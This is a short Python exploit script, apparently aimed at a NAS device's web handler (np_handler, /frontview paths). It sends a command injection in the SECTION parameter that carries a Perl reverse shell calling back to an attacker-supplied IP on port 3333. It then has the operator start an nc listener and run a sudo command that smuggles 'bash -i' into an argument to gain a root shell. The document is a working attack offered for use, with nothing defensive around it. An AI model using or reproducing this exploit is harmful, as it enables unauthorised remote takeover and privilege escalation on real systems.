#!/usr/bin/env python
import sys
from requests import get

'''Lazy exploit is lazy'''

def pwn(local,remote):
    res = get('http://%s/np_handler/'%local,params={'PAGE':'Nasstate','OPERATION':'get','SECTION':'`perl -e \'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(3333,inet_aton("%s")))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'`' % remote})

def main():
    if len(sys.argv) != 3:
        sys.exit("Usage: %s local_ip remote_up" % sys.argv[0])
    raw_input("Listen for connect back on port 3333 (nc -l -p 3333) then press enter to continue")
    print "Now run this in your shell: sudo /frontview/bin/check_dir_compatibility.pl create 'root' '/tmp/asdf1\";bash -i; echo \"'"
    pwn(sys.argv[1],sys.argv[2])

if __name__=="__main__":
    main()